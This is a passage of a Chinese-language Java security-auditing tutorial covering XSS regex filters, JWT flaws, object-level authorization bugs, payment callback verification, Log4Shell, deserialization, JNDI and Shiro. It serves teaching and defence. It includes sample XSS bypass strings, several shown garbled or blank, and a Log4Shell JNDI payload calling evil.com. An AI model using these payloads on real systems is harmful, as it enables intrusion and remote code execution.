问题: - 大小写绕过 - 事件种类很多(onclick、onmouseover 等) 还有很多,比如错误过滤 javascript 协议,远不止这些。博客里所写的这些,并不是需要你逐条对照着看,只是讲解为什么过滤了也不行。 真正审计的时候,还是推荐AI辅助来判断这一部分规则。 一个复杂的例子是这样的。 public class HTMLUtil { /** * 删除文章内的markdown * * @param source 需要过滤的文本 * @return 过滤后的内容 */ public static String deleteArticleTag(String source) { //删除HTML和markdown标签 source = source.replaceAll("!\\[\\]\\((.*?)\\)", "").replaceAll("<[^>]+>", ""); return deleteTag(source); } /** * 删除评论内容标签 * * @param source 需要进行剔除HTML的文本 * @return 过滤后的内容 */ public static String deleteCommentTag(String source) { //保留图片标签 source = source.replaceAll("(?!<(img).*?>)<.*?>", ""); return deleteTag(source); } /** * 删除标签 * * @param source 文本 * @return 过滤后的文本 */ private static String deleteTag(String source) { //删除转义字符 source = source.replaceAll("&.{2,6}?;", ""); //删除script标签 source = source.replaceAll("<[\\s]*?script[^>]*?>[\\s\\S]*?<[\\s]*?\\/[\\s]*?script[\\s]*?>", ""); //删除style标签 source = source.replaceAll("<[\\s]*?style[^>]*?>[\\s\\S]*?<[\\s]*?\\/[\\s]*?style[\\s]*?>", ""); return source; } } ❓️ 逐条比对去分析它?寻找绕过的可能? 这是一件很复杂的事情,有些时候,开发者写的奇奇怪怪的过滤规则远不止这些。一条一条地去看正则是低效率的。 当然,正则过滤其实本身就是一个信号——HTML不适合正则过滤,这意味着,使用正则过滤,很可能是不充分的。 这个例子很显然看似过滤充分,但有许多绕过的可能: - `ipt>alert(1)ipt>` - `<` - `` - `` - `<script>alert(1)</script>` - `alert(1)` - ... 在AI赋能的语义下,攻击者可以在短时间低成本内构造出大量的绕过方案。当然,你也可以通过AI辅助,分析出大量绕过的可能。 👉 这个例子问题的本质在于: - 使用正则表达式处理 HTML(不可行) - 过滤顺序不合理(先删标签再删 script) - 仅关注标签,忽略属性(如 onerror) - 错误处理 HTML 实体(删除而非解析) - 黑名单策略不完整 最后,推荐的方案是: - `OWASP Java HTML Sanitizer` - `jsoup.clean()` - `DOMPurify`(前端) #### 3.5.3 JwtUtil工具类 这是一个典型的JwtUtil,观察这个代码,问题在哪里? public class JwtUtil { private static final String KEY = "itheima"; //接收业务数据,生成token并返回 public static String genToken(Map claims) { return JWT.create() .withClaim("claims", claims) .withExpiresAt(new Date(System.currentTimeMillis() + 1000 * 60 * 60 * 12)) .sign(Algorithm.HMAC256(KEY)); } //接收token,验证token,并返回业务数据 public static Map parseToken(String token) { return JWT.require(Algorithm.HMAC256(KEY)) .build() .verify(token) .getClaim("claims") .asMap(); } } 首先,这段代码完成了两个功能: - 生成 Token - 校验 Token 并解析数据 ❓️ 从功能上来说是完整的,但它有没有做什么? - 密钥是否安全? - 是否支持密钥管理(如动态配置、轮换) - 是否区分不同 Token 类型(如用户 / 管理员) - 是否考虑 Token 失效控制(如主动失效、黑名单) **问题一:密钥硬编码** private static final String KEY = "itheima"; - 密钥直接写死在代码中,一旦源码泄露(如开源项目或代码外泄),攻击者可以自行伪造合法 Token - 密钥强度较低(弱密钥),存在被猜测或暴力破解的风险 - (考虑到这是一个教学项目,这种写法可以理解,但在生产环境中,应使用高强度密钥,并通过配置或密钥管理系统进行管理,一般建议不少于 32 位) **问题二:Token 内容被完全信任** .withClaim("claims", claims) - Token 中的业务数据被直接信任使用,但实际上诸如用户 ID、角色等关键字段,仍应在服务端进行校验(如结合数据库) - 一旦 KEY 泄露,攻击者可以随意构造 claims,从而伪造身份 例如: { "userId": 1, "role": "admin" } 👉 如果后端直接基于这些字段进行权限判断,将导致严重的权限绕过问题 **问题三:缺乏额外校验机制** JWT.require(Algorithm.HMAC256(KEY)).build().verify(token) - 未校验 `issuer`(签发者) - 未校验 `audience`(受众) - 未对 Token 类型进行区分(如用户 / 管理员) 这通常指向两种情况: - 一是系统仅设计了单一角色,这在大多数实际业务中是不合理的,也往往意味着权限模型设计存在缺陷 - 二是系统存在多角色,但共用同一套 Token 机制,这种情况下更容易出现角色之间的越权问题 **问题四:Token 无法主动失效** .withExpiresAt(...) - 仅依赖过期时间(如 12 小时)控制 Token 生命周期 - 无法支持: - 用户主动登出 - 用户被封禁后立即失效 👉 一旦 Token 泄露,在有效期内将持续可用 **问题五:缺乏上下文绑定** Token 中未绑定任何上下文信息,例如:`IP`、`User-Agent`、设备标识等 - 一旦 Token 被窃取,可以在任意环境中复用 - 如果前端将 Token 存储在 Cookie 中,且后端缺乏 CSRF 防护机制,还可能放大 CSRF 攻击风险 另外值得注意的一点是,这些审计和判断,是经验性的,并非绝对性的。这是因为不同的开发者,不同的公司,开发风格不同。 举个例子: public class JwtUtil { /** * 生成jwt * 使用Hs256算法, 私匙使用固定秘钥 * * @param secretKey jwt秘钥 * @param ttlMillis jwt过期时间(毫秒) * @param claims 设置的信息 * @return */ public static String createJWT(String secretKey, long ttlMillis, Map claims) { // 指定签名的时候使用的签名算法,也就是header那部分 SignatureAlgorithm signatureAlgorithm = SignatureAlgorithm.HS256; // 生成JWT的时间 long expMillis = System.currentTimeMillis() + ttlMillis; Date exp = new Date(expMillis); // 设置jwt的body JwtBuilder builder = Jwts.builder() // 如果有私有声明,一定要先设置这个自己创建的私有的声明,这个是给builder的claim赋值,一旦写在标准的声明赋值之后,就是覆盖了那些标准的声明的 .setClaims(claims) // 设置签名使用的签名算法和签名使用的秘钥 .signWith(signatureAlgorithm, secretKey.getBytes(StandardCharsets.UTF_8)) // 设置过期时间 .setExpiration(exp); return builder.compact(); } /** * Token解密 * * @param secretKey jwt秘钥 此秘钥一定要保留好在服务端, 不能暴露出去, 否则sign就可以被伪造, 如果对接多个客户端建议改造成多个 * @param token 加密后的token * @return */ public static Claims parseJWT(String secretKey, String token) { // 得到DefaultJwtParser Claims claims = Jwts.parser() // 设置签名的秘钥 .setSigningKey(secretKey.getBytes(StandardCharsets.UTF_8)) // 设置需要解析的jwt .parseClaimsJws(token).getBody(); return claims; } } ❓️ 这段代码也和当一段出现了同样多的问题吗? ⭐ 绝大多数是的。但是有两点没有,这个项目之中, - 一是,可以看见的是密钥没有硬编码 - 二是,是做了不同角色的区分。 ❓️ 为什么第二点,这段代码里面没有? ✳️ 因为被开发者放到拦截器里面去了。因此具体的,看有关JWT的设计,我们有时候还需要关注一下拦截器,过滤器,甚至是切面(AOP)。 仅根据一个包,或者一层就下定论,有些时候容易误判。 @Component @Slf4j public class JwtTokenAdminInterceptor implements HandlerInterceptor { @Autowired private JwtProperties jwtProperties; /** * 校验jwt * * @param request * @param response * @param handler * @return * @throws Exception */ @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { // 判断当前拦截到的是Controller的方法还是其他资源 if (!(handler instanceof HandlerMethod)) { // 当前拦截到的不是动态方法,直接放行 return true; } // 1、从请求头中获取令牌 String token = request.getHeader(jwtProperties.getAdminTokenName()); // 2、校验令牌 try { log.info("jwt校验:{}", token); Claims claims = JwtUtil.parseJWT(jwtProperties.getAdminSecretKey(), token); Long empId = Long.valueOf(claims.get(JwtClaimsConstant.EMP_ID).toString()); BaseContext.setCurrentId(empId); // 3、通过,放行 return true; } catch (Exception ex) { // 4、不通过,响应401状态码 response.setStatus(401); return false; } } } #### 3.5.4 其他常见的工具类 - **加密工具类** 一些初学者会将加密相关逻辑直接封装在 utils 中,这一部分需要重点关注算法的选择与使用方式。 - 是否使用了不安全的哈希算法(如 MD5、SHA1) - 是否存在明文存储敏感信息的情况 - 是否正确使用了加盐(salt)机制 👉 对于需要持久化存储的敏感信息(如密码),通常建议使用更安全的哈希算法,例如:`bcrypt`、`scrypt`、`argon2` 等 👉 在条件允许的情况下,可以进一步引入“胡椒(pepper)”机制,提高整体安全性 - **支付工具类** 这类工具通常直接涉及资金与核心业务安全,其重要性不言而喻。 常见需要关注的问题包括: - 是否校验支付金额(是否由服务端计算,而非信任前端) - 是否验证订单状态(防止重复支付、越权支付) - 是否校验回调来源(防止伪造支付回调) 👉 由于这一部分涉及业务逻辑较多,后续会单独作为一节进行分析 - **HTTP 请求工具类(如调用第三方接口)** 一些项目会封装 HTTP 请求工具(如基于 `HttpClient`、`RestTemplate`、`OkHttp`),用于调用外部接口。 需要关注: - 请求 URL 是否可控(可能导致 SSRF) - 是否限制访问内网地址(如 127.0.0.1、169.254.169.254 等) - 是否存在重定向跟随问题 👉 如果 URL 来源于用户输入且未做限制,可能形成 SSRF 漏洞 - **验证码 / 随机数工具类** 常用于登录、注册、找回密码等场景。 需要关注: - 是否使用安全的随机数生成器(如 `SecureRandom`) - 是否存在可预测的验证码(如时间戳、简单递增) - 验证码是否有过期时间与次数限制 👉 弱随机数或无校验机制,可能导致验证码被爆破或预测 - **ID 生成工具类(如雪花算法等)** 用于生成订单号、用户ID等。 需要关注: - ID 是否可预测(如自增ID) - 是否被直接用于权限判断(如通过ID访问资源) 👉 如果 ID 可预测,可能导致数据枚举或越权访问 - **日期 / 时间工具类** 常用于订单、活动、权限控制等场景。 需要关注: - 是否依赖客户端时间 - 是否存在时间判断逻辑错误(如过期判断不严格) 👉 可能影响权限控制或业务逻辑(如提前/延后执行) - **日志工具类(或日志封装)** 一些项目会对日志进行统一封装。 需要关注: - 是否记录敏感信息(如密码、Token) - 是否存在日志注入问题(如未过滤用户输入) 👉 日志往往被忽略,但一旦泄露,影响范围较大 ### 3.6 Controller 层业务审计(用户可访问的接口入口) 🚧 施工中 #### 3.6.1 水平越权 首先我们来看什么是水平越权。举个简单的例子,在外卖场景下,小明只能访问自己的订单,这显然是正常逻辑;但如果小明能够访问小红的订单,那么这里就出现了水平越权。 这种问题究竟是怎么出现的?很多人会以为,需要通过某种“非常炫酷”的漏洞利用技巧,才能做到水平越权。 事实上并没有那么复杂。绝大多数情况下,这类漏洞只是因为开发者没有明确区分鉴别(Authentication)和授权(Authorization)导致。 下面看一个典型例子。用户登录点单系统后,系统会对 JWT 进行校验,然后用户查看自己的订单详情: /** * 查询订单详情 * * @param id * @return */ @GetMapping("/orderDetail/{id}") public Result details(@PathVariable("id") Long id) { OrderVO orderVO = orderService.details(id); return Result.success(orderVO); } /** * 查询订单详情 * * @param id * @return */ public OrderVO details(Long id) { // 根据id查询订单 Orders orders = orderMapper.getById(id); // 查询该订单对应的菜品/套餐明细 List orderDetailList = orderDetailMapper.getByOrderId(orders.getId()); ... 问题出在哪里? 乍一看似乎没有任何问题。 用户已经登录,JWT 也完成了校验,这说明访问者确实是一个合法用户;合法用户访问合法订单,好像逻辑完全正确。 但问题在于:这个订单真的属于当前用户吗? 如果我使用一个合法用户 A 的身份,去访问另一个合法用户 B 的订单 B,这段逻辑能够阻止吗?WAF 或其他安全设备能够拦截吗? 很显然,不能。 因为这里仅仅完成了“身份是否合法”的鉴别,却没有完成“资源是否属于该身份”的授权校验。 那这个问题严重吗? 如果只是看看别人今天吃了什么,好像问题不算特别大。 PS:实际上,这类问题依然严重,本质上属于用户数据泄露风险,可能违反数据保护或合规要求,即便表面看似只是“查看他人订单”,也可能涉及隐私侵权或法律合规问题。 但换一个业务场景,问题立刻就会变得非常严重。 例如地址簿: @GetMapping("/{id}") public Result getById(@PathVariable Long id) { AddressBook addressBook = addressBookService.getById(id); return Result.success(addressBook); } /** * 根据id查询 * * @param id * @return */ public AddressBook getById(Long id) { AddressBook addressBook = addressBookMapper.getById(id); return addressBook; } 在正常逻辑下,用户查看自己的地址簿当然没有问题;但由于业务逻辑没有校验该地址簿是否属于当前用户,于是任何人都可以遍历访问其他用户的地址信息。 于是就会出现一个非常荒诞的场景:系统明明没有 SQL 注入(SQLi),但攻击者却依然能够通过 ID 遍历的方式,对敏感数据进行“脱库”。 而且,如果攻击者稍微谨慎一点,比如更换代理、控制请求频率,那么系统甚至可能在很长时间内都无法发现异常;前提还是对方真的有人在维护防火墙,而不是完全依赖自动化策略。 还有别的危险场景吗? 当然有。 例如,我们可以“友善”地替别人催单: /** * 用户催单 * * @param id * @return */ @GetMapping("/reminder/{id}") public Result reminder(@PathVariable("id") Long id) { orderService.reminder(id); return Result.success(); } /** * 用户催单 * * @param id */ public void reminder(Long id) { // 查询订单是否存在 Orders orders = orderMapper.getById(id); if (orders == null) { throw new OrderBusinessException(MessageConstant.ORDER_NOT_FOUND); } // 基于WebSocket实现催单 Map map = new HashMap<>(); map.put("type", 2);// 2代表用户催单 map.put("orderId", id); map.put("content", "订单号:" + orders.getNumber()); webSocketServer.sendToAllClient(JSON.toJSONString(map)); } 甚至可以随心所欲地取消别人的订单,别吃了减肥: /** * 用户取消订单 * * @return */ @PutMapping("/cancel/{id}") public Result cancel(@PathVariable("id") Long id) throws Exception { orderService.userCancelById(id); return Result.success(); } /** * 取消订单 * * @param ordersCancelDTO */ public void cancel(OrdersCancelDTO ordersCancelDTO) throws Exception { // 根据id查询订单 Orders ordersDB = orderMapper.getById(ordersCancelDTO.getId()); // 支付状态 Integer payStatus = ordersDB.getPayStatus(); if (payStatus == 1) { // 用户已支付,需要退款 ... } // 管理端取消订单需要退款,根据订单id更新订单状态、取消原因、取消时间 Orders orders = new Orders(); orders.setId(ordersCancelDTO.getId()); orders.setStatus(Orders.CANCELLED); orders.setCancelReason(ordersCancelDTO.getCancelReason()); orders.setCancelTime(LocalDateTime.now()); orderMapper.update(orders); } So, why did it happen? 正如前面所说,本质原因在于开发者混淆了鉴别(Authentication)与授权(Authorization)。 这两个词虽然看起来很像,但实际含义完全不同。 在很多开发者的理解里: “我已经做了登录校验,所以这是合法用户;既然是合法用户,那自然就可以访问资源。” 于是就产生了这种典型的对象级访问越权(Broken Object Level Authorization,BOLA)。 通常情况下,像 insert 新记录这类操作,开发者一般还会记得从 ThreadLocal 中取出当前用户的 UserId(通常是在 JWT 校验完成后写入的),因此问题不大。 ——毕竟这种场景下,如果不传 UserId,数据甚至都插不进去。 但在 update、delete、select 这类场景中,很多开发者往往只根据资源 ID 操作数据,而不会继续校验“该资源是否属于当前用户”,于是就出现了上面这种“只校验 productId,不校验 userId”的问题。 正确的逻辑应该是: select * from product_table where userid = #{userid} and productid = #{productid}; 而不是: select * from product_table where productid = #{productid}; 这个问题的根源在于,开发者默认用户都是乖乖点前端 UI 上的按钮,比如查看自己的订单,然后前端自然会发回合法订单数据。后端虽然打着“永远不相信前端”的旗号,但实际上这份不信任大多只针对用户 ID,而对 product ID 却心存侥幸——觉得用户不可能修改它,毕竟界面上根本没有输入框。而Burp suite告诉他们,其实我们不需要输入框。 #### 3.6.2 垂直越权 #### 3.6.x 微信支付回调 支付回调,并不能够简单地当做一个回调接口来看待,而是要当做一个资金链路状态来看待。 在这一小节里面,我们以微信支付回调为例子进行分析。 PS:很显然,直接跟钱有关的业务逻辑,肯定是非常重要的。 ❓️ 首先,我们清楚一个问题,微信支付回调是在干什么。 ⚠️ 这里有一个关键点:不是“收到回调就更新状态”,而是“校验通过后再更新状态”。 因此问题就很显然,我们得回答几个问题: - 🤔发过来这条消息的人,是微信吗?——系统有没有给别人伪造这条消息的可能?有没有可能是支付宝,是银行发回的回调? - 🤔微信发来的这条消息,支付结果到底是什么? ——是成功还是失败?系统有没有对返回状态做严格校验? - 🤔这个支付结果,是属于我这个商户的吗?——appid、mchid 是否匹配?有没有可能是其他商户的数据被重放? - 🤔支付金额是否正确? ——我 15 RMB 的商品,实际到账是否也是 15 RMB,而不是 0.1 RMB? - 🤔幂等做好了没有?——同一笔支付回调多次通知时,系统是否只会处理一次?我重放这个报文,让商家发一百个🍔给我吃? PS:回调本质 = 不可信输入 + 资金状态变更入口 因此正常的逻辑(伪码),至少要是这个样子的 @PostMapping("/pay/wechat/notify") public ResponseEntity notify(HttpServletRequest request) { String body = readRawBody(request); try { // ============================== // ❓问题1:发消息的人,真的是微信吗? // ============================== // 1. 验证通知真实性(签名 + 平台证书) NotifyMeta meta = notifyVerifier.verify(request, body); // ============================== // 解密核心数据 // ============================== WechatPayNotifyData notifyData = notifyDecryptor.decrypt(body); // ============================== // ❓问题2:支付结果到底是什么? // ============================== if (!"TRANSACTION.SUCCESS".equals(notifyData.getEventType())) { return fail(); } if (!"SUCCESS".equals(notifyData.getTradeState())) { return fail(); } // ============================== // ❓问题3:是不是我的订单?(商户校验) // ============================== if (!config.getMchId().equals(notifyData.getMchId())) { log.warn("mchid not match"); return fail(); } if (!config.getAppId().equals(notifyData.getAppId())) { log.warn("appid not match"); return fail(); } // ============================== // 查询本地订单(避免信任外部数据) // ============================== Order order = orderService.getByOrderNo(notifyData.getOutTradeNo()); if (order == null) { log.error("order not exist, outTradeNo={}", notifyData.getOutTradeNo()); return fail(); } // ============================== // ❓问题4:金额是否正确? // ============================== if (!order.getAmount().equals(notifyData.getAmount().getTotal())) { log.error("amount not match, orderAmount={}, notifyAmount={}", order.getAmount(), notifyData.getAmount().getTotal()); return fail(); } // ============================== // ❓问题5:幂等处理(防重复回调) // ============================== // 推荐:在 service 层通过状态机 or 唯一约束保证幂等 paymentNotifyService.handleWechatPaySuccess(order, notifyData); // ============================== // 告知微信处理成功 // ============================== return success(); } catch (RepeatNotifyProcessedException e) { // 幂等:已处理过,直接返回成功(非常关键) return success(); } catch (Exception e) { log.error("wechat pay notify handle failed", e); return fail(); } } 因此,对照上面的结构,如果存在缺失的验证逻辑,就会产生对应的安全问题。 ❓️ 有了上述的结构就一定安全? 当然不是的。 进而我们再看其中的细节,主要看验签的部分(其他的部分,和一般业务逻辑的审计具有相似之处,这里就不再多说了) 我们重复一遍,验签在干的事情,就是验证发来这条消息的人是微信,而不是其他的,意料之外的人。 首先 签名 = f(时间 + 随机数 + 报文) String message = timestamp + "\n" + nonce + "\n" + body + "\n"; 拿到这个签名之后,我们要用用微信的公钥,验证这个 f(...) 是不是微信算出来的 以一个例子来说明常见的验签逻辑: public NotifyMeta verify(HttpServletRequest request, String body) { // 1. 取 header String signature = request.getHeader("Wechatpay-Signature"); String timestamp = request.getHeader("Wechatpay-Timestamp"); String nonce = request.getHeader("Wechatpay-Nonce"); String serial = request.getHeader("Wechatpay-Serial"); // 2. 基础校验 assertNotEmpty(signature, timestamp, nonce, serial); // 3. 时间窗口校验(用于防重放,但有些时候这个防重放的功能是通过幂等做的) checkTimestamp(timestamp); // 4. 构造签名原文 String message = timestamp + "\n" + nonce + "\n" + body + "\n"; // 5. 获取微信公钥(通过 serial) PublicKey publicKey = certificateManager.getPublicKey(serial); // 6. RSA 验签 boolean valid = rsaVerify(publicKey, message, signature); if (!valid) { throw new SecurityException("invalid signature"); } return new NotifyMeta(serial, timestamp, nonce); } 那么问题可能出在哪里呢? **① 调用了验签,但是不关心验签结果** notifyVerifier.verify(request, body); // true or fasle? no care——>继续往下走 paymentNotifyService.handleWechatPaySuccess(notifyData); 像这样只是捕获异常也是的 try { notifyVerifier.verify(request, body); } catch (Exception e) { log.warn("verify failed", e); } // 验签结果仅仅只影响了日志,但是没有影响业务逻辑——>继续处理 paymentNotifyService.handleWechatPaySuccess(notifyData); **② 不校验时间戳** // 完全没有时间窗口校验 notifyVerifier.verify(request, body); 攻击者抓到一条真实回调——>几天后再次发送——>验签完全通过 ✅ **③ 忽略 serial,使用固定公钥** PublicKey publicKey = loadLocalPublicKey(); // 写死的 rsaVerify(publicKey, message, signature); 👉 微信平台证书是会轮换的,不更换会导致错误信任旧证书,以及新证书全部失败 **④ 只要“解密成功”就当作合法** WechatPayNotifyData notifyData = notifyDecryptor.decrypt(body); // 认为已经安全 paymentNotifyService.handleWechatPaySuccess(notifyData); 这个还真有一个糟糕的例子 /** * 支付成功回调 * * @param request */ @RequestMapping("/paySuccess") public void paySuccessNotify(HttpServletRequest request, HttpServletResponse response) throws Exception { // 读取数据 String body = readData(request); log.info("支付成功回调:{}", body); // 数据解密 String plainText = decryptData(body); log.info("解密后的文本:{}", plainText); JSONObject jsonObject = JSON.parseObject(plainText); String outTradeNo = jsonObject.getString("out_trade_no");// 商户平台订单号 String transactionId = jsonObject.getString("transaction_id");// 微信支付交易号 log.info("商户平台订单号:{}", outTradeNo); log.info("微信支付交易号:{}", transactionId); // 业务处理,修改订单状态、来单提醒 orderService.paySuccess(outTradeNo); // 给微信响应 responseToWeixin(response); } ❓发生了什么? 整个流程只做了一件事: 👉 解密成功 → 直接当作合法订单处理 也就是说: - ❌ 没有验签(不知道是不是微信发的) - ❌ 没有校验数据是否被篡改 - ❌ 没有任何来源可信判断 实际效果就是: 任何人只要构造一份“能被解密”的数据,就可以触发你的业务逻辑 当然这并不是最大的问题,在这个例子里面,甚至订单被记录为合法这个操作是在解密之前。开发者从设计上就没有“验签”这个概念 另外,题外话,这个代码的另一个问题是,把完整支付报文(甚至是解密后的敏感信息)直接打到日志,其实是不合适的。 log.info("支付成功回调:{}", body); log.info("解密后的文本:{}", plainText); 这在生产环境中通常是不合适的,可能带来: - 敏感数据泄露(订单信息、用户信息) - 合规风险(尤其是金融/支付场景) PS:很不幸运的是,这个项目的设计之中,还有不太恰当的权限管理,进一步放大了这个不起眼的问题,形成了完整的数据泄露攻击链。 ### 3.7 一些典型的,值得一提的方向 #### 3.7.1 log4j 谈到 Log4j 漏洞(Log4Shell),一个很容易被误解但**非常关键的点**是: ❗*漏洞存在于 **log4j-core** 中,而不是 log4j-api* **第一步:看依赖里有没有 `log4j-core` ,在 Maven 项目中,先看依赖树:** mvn dependency:tree -Dincludes=log4j 重点关注:是否存在 `log4j-core`,以及版本是多少。另外不只是关注开发者自己引入的依赖,还要关注通过依赖链引入的。 版本判断(是否存在漏洞) | 版本 | 风险 | | ----------------- | -------- | | `< 2.15.0` | 高危(Log4Shell) | | `2.15.0 ~ 2.16.0` | 仍有问题 | | `>= 2.17.0` | 安全 | 👉 因此:只有在 **存在 log4j-core 且版本较低时,风险才真正存在** ✳️ **几个容易误判的地方** - 只有 log4j-api,不算使用 log4j ,没有漏洞 log4j-api:2.x.x - 出现 log4j-to-slf4j,只是桥接(把 log4j 日志转发到其他框架,比如 logback),也不算真正使用 log4j log4j-to-slf4j 🚩 **如果存在漏洞版本** 当发现,例如: log4j-core:2.14.1 这时候才需要进一步分析漏洞是否会被利用 并不是有漏洞就一定能打(当然即便不能够打,也值得升级依赖,否则后续更新功能依旧可能引入能够打地漏洞),关键看: 🔍 **重点关注点**:用户输入来源是否直接拼接到日志中,例如 * HTTP 请求参数(query / body) * Header(User-Agent / X-Forwarded-For 等) * 表单输入 * 文件内容 * 数据库字段(⚠️ 很容易忽略,可能用户输入,先通过HTTP请求参数进入数据库,在后续的查询之中有作为输入进入logger) 危险写法例如: logger.info("user input: " + userInput); 或: logger.error("error: {}", userInput); 👉 如果 `userInput` 可控,就有风险 典型 payload: ${jndi:ldap://xxx.com/a} 如果能进入日志系统并被解析,就可能触发远程加载 一个更具体一点的例子 @GetMapping("/test") public String test(String name) { logger.info("user: " + name); return "ok"; } 如果访问: /test?name=${jndi:ldap://evil.com/a} 在存在漏洞版本的 log4j-core 下,就可能被利用 #### 3.7.2 反序列化 **第一步:分析“反序列化入口”** 核心思想是: 🔍 Fastjson 相关入口 ✔ 常见方法有 JSON.parseObject(json) JSON.parseObject(json, Object.class) JSON.parse(json) JSON.parseArray(json) 一些比较危险的写法比如 ❗ ① 通用解析(高风险):类型不固定,可能触发 autoType / 绕过 Object obj = JSON.parseObject(json, Object.class); Object obj = JSON.parse(json); ⚠️ ② 不明确类型: JSONArray arr = JSON.parseArray(json); 🔎 Jackson 入口 objectMapper.readValue(json, Xxx.class) 一些比较危险的写法比如 ❗ ① 通用类型 objectMapper.readValue(json, Object.class); ❗ ② 多态类型 objectMapper.enableDefaultTyping() 开启后: readValue(json, BaseClass.class) ❗ 可能被利用 🔍 原生 Java(高危)入口 ObjectInputStream.readObject() ✔ 最经典反序列化漏洞入口 ✔ 直接高危 🔍 工具类封装 JsonUtil.parse(json) 内部可能写的不安全: return JSON.parseObject(json); 因此必须全局搜索调用链 🔍 JSONReader JSONReader reader = new JSONReader(...); reader.readObject(); 🔍 其他框架还有: * Hessian * XStream * Kryo **第二步:看“数据来源”** 一些常见来源: | 来源 | 风险 | | --------------- | - | | HTTP 参数 / Body | 高 | | Header / Cookie | 高 | | WebSocket | 高 | | 文件上传 | 高 | | 数据库 / Redis | 中 | | 第三方接口 | 中 | | 内部常量 | 低 | 📌 一些危险的示例 String json = request.getParameter("data"); JSON.parseObject(json, Object.class); String json = httpClient.doGet(url); JSON.parseObject(json); 如果数据来源于外部,则需要判断是否可控 **第三步:看“解析方式”** ✔ 安全写法:明确类型,不触发 autoType User user = JSON.parseObject(json, User.class); × 危险写法:通用反序列化 Object obj = JSON.parseObject(json, Object.class); **第四步:看配置(Fastjson / Jackson)** ⚠️ **Fastjson**高危配置: ParserConfig.getGlobalInstance().setAutoTypeSupport(true); JSON.parseObject(json, Object.class, Feature.SupportAutoType); 宽松白名单 ParserConfig.getGlobalInstance().addAccept("com.xxx."); ⚠️ **Jackson**高危配置: objectMapper.enableDefaultTyping(); 或: objectMapper.activateDefaultTyping(...) **第五步:关注依赖版本** 📌 Fastjson | 版本 | 风险 | | -------- | ---- | | < 1.2.83 | 存在绕过 | | ≥ 1.2.83 | ✔ 安全 | 📌 Jackson * 关注 databind 历史漏洞 * 重点不是版本,而是配置(DefaultTyping) **第六步:看是否存在 Gadget(利用链)** 常见依赖有: * commons-collections * commons-beanutils * groovy * spring-core * JdbcRowSetImpl(JDK) #### 3.7.3 JNDI 审计JNDI,首先需要理解JNDI是什么。 通俗而言是: 应用给出一个“名字” ,JNDI 帮它去某个命名/目录服务里把对应资源找出来 ,这些资源可能是数据源、EJB、LDAP 条目、RMI 对象引用之类 在企业 Java 里,它经常出现在这些场景: - DataSource 查找 - LDAP 目录查询和认证 - 应用服务器资源注入 - 通过 RMI / LDAP / CORBA 等命名服务取对象 于是,当不可信输入能够影响 JNDI 的查找名、协议、目标地址或返回对象处理方式时,就可能把普通查询变成危险行为。 像SQLi,反序列漏洞,以及包括JNDI等注入问题的本质就在于:不可信数据进入解释器或敏感处理流程。 从审计角度看,这类问题的核心仍然是:不可信输入是否进入了敏感处理流程。因此重点关注两部分: - ⭐用户可控输入 - ⭐命名解析、目录查询、对象获取等危险入口。 那么危险的入口有哪些呢?例如: InitialContext Context DirContext InitialDirContext lookup( search( bind( rebind( createSubcontext( getAttributes( 其中最为值得关注的地方比如 new InitialContext(...) new InitialDirContext(...) ctx.lookup(...) dirContext.search(...) 在问题代码之中可能出现的形式比如 String jndiName = prefix + userInput; ctx.lookup(jndiName); 再比如 Hashtable env = new Hashtable(); env.put(Context.PROVIDER_URL, url); new InitialDirContext(env); DirContext ctx = new InitialDirContext(env); ctx.search(baseDn, filter, controls); DataSource ds = (DataSource) ctx.lookup(jndiName); 那么在刚开始学习审计的时候,其实这对于我们来说,了解所有的风险函数是相当困难的。 但从这个漏洞的原理来看,一种更为舒适的动手方法是:关注那些不可信的输入来源,分析这些来源在后续是否进入到了某个敏感处理或执行流程之中。 如果不知道这个后续敏不敏感怎么办?我考虑分为两种情况: - 调用了某个你不清楚的函数,这个时候很简单,你可以很方便地使用AI查询这个函数在干什么 - 使用了某个自己封装的工具类,这个时候,你需要进入调用链,分析底层究竟干了什么,调用了什么函数,遇到不知道的库函数依据上一条来处理 #### 3.7.4 Shiro反序列化 首先需要在依赖树之中关注shiro的版本,如果<=1.2.4,且项目之中还在使用rememberMe的话。那就很糟糕了。 在这些版本下,AES加密时采用的key是硬编码在代码中的(公开常量),这意味着攻击者非常容易伪造rememberMe进行攻击。 建议优先升级至官方已修复安全问题的最新稳定版本(如 1.12+ 或 2.x),并结合安全配置。 当然,shiro版本在1.2.4以上,不意味着是没有问题的。需要结合正确的cipherKey配置(显式设置强随机 cipherKey + 必要时关闭 RememberMe),才是安全的。 例如版本较新,但是cipherKey仍为默认或弱密钥,依旧不那么安全。 攻击者可以构造恶意序列化对象,并使用已知/猜测的 cipherKey 加密后写入 rememberMe Cookie,从而触发反序列化执行任意代码。 具体的,我们以一个shiro配置类为例进行分析 @Configuration public class ShiroConfig { @Bean public ShiroFilterFactoryBean shiroFilterFactoryBean(SecurityManager securityManager) { ShiroFilterFactoryBean shiroFilterFactoryBean = new ShiroFilterFactoryBean(); shiroFilterFactoryBean.setSecurityManager(securityManager); shiroFilterFactoryBean.setLoginUrl("/login"); shiroFilterFactoryBean.setUnauthorizedUrl("/unauthorized"); Map filterChainDefinitionMap = new LinkedHashMap<>(); filterChainDefinitionMap.put("/login", "anon"); filterChainDefinitionMap.put("/logout", "anon"); filterChainDefinitionMap.put("/static/**", "anon"); // 正确做法:使用 "authc" 要求必须登录(推荐移除 RememberMe 后使用) filterChainDefinitionMap.put("/**", "authc"); shiroFilterFactoryBean.setFilterChainDefinitionMap(filterChainDefinitionMap); return shiroFilterFactoryBean; } @Bean public SecurityManager securityManager() { DefaultWebSecurityManager securityManager = new DefaultWebSecurityManager(); securityManager.setRealm(myRealm()); // ✅ 正确做法:如果业务不需要记住我功能,直接移除 RememberMeManager // ❌ 错误/风险配置: // securityManager.setRememberMeManager(rememberMeManager()); // 容易忘记配置密钥 return securityManager; } @Bean public MyRealm myRealm() { return new MyRealm(); } /** * 正确的 RememberMe 配置(如果业务确实需要) * 必须显式设置强随机 cipherKey */ // @Bean // ← 如果不需要 RememberMe,请直接删除整个方法 public CookieRememberMeManager rememberMeManager() { CookieRememberMeManager cookieRememberMeManager = new CookieRememberMeManager(); // ✅ 正确:使用强随机密钥(生产环境必须这样做) // 推荐方式:每次部署时通过 SecureRandom 生成新密钥,并配置到配置文件中 //把 cipherKey 放到 application.yml 中,通过 @Value 注入,避免硬编码在 Java 类里。 byte[] cipherKey = Base64.getDecoder().decode("你的强随机Base64密钥至少32字节推荐"); cookieRememberMeManager.setCipherKey(cipherKey); // ✅ 推荐:自定义 Cookie 名称,降低指纹识别风险 